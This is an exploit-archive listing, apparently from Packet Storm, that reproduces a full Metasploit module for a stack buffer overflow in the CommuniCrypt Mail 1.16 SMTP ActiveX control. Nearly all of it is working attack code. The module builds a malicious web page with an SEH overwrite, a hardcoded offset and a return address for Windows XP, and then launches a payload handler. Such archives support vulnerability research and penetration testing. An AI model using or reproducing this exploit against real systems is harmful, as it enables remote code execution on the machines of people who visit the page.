CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow

🗓️ 25 May 2010 00:00:00Reported by LincolnType

packetstorm🔗 packetstormsecurity.com👁 23 Views

Stack Buffer Overflow in CommuniCrypt Mail 1.16 SMTP ActiveX Contro

`##  
# $Id: communicrypt_mail_activex.rb 9363 2010-05-25 02:09:42Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll  
ActiveX Control provided by CommuniCrypt Mail 1.16. By sending a overly  
long string to the "AddAttachments()" method, an attacker may be able to  
execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Lincoln', # Original exploit author  
'dookie' # MSF module author  
],  
'Version' => '$Revision: 9363 $',  
'References' =>  
[  
[ 'OSVDB', '64839' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/12663' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll  
],  
'DisclosureDate' => 'May 19 2010',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
filler = rand_text_alpha(target['Offset'])  
seh = generate_seh_payload(target.ret)  
trailer = rand_text_alpha(1000 - p.encoded.length)  
sploit = filler + seh + p.encoded + trailer  
  
# Build out the message  
content = %Q|<html>  
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object>  
<script language='javascript'>  
var #{vname} = document.getElementById('#{vname}');  
var #{strname} = new String('#{sploit}');  
#{vname}.AddAttachments(#{strname});  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

25 May 2010 00:00Current

0.6Low risk

Vulners AI Score0.6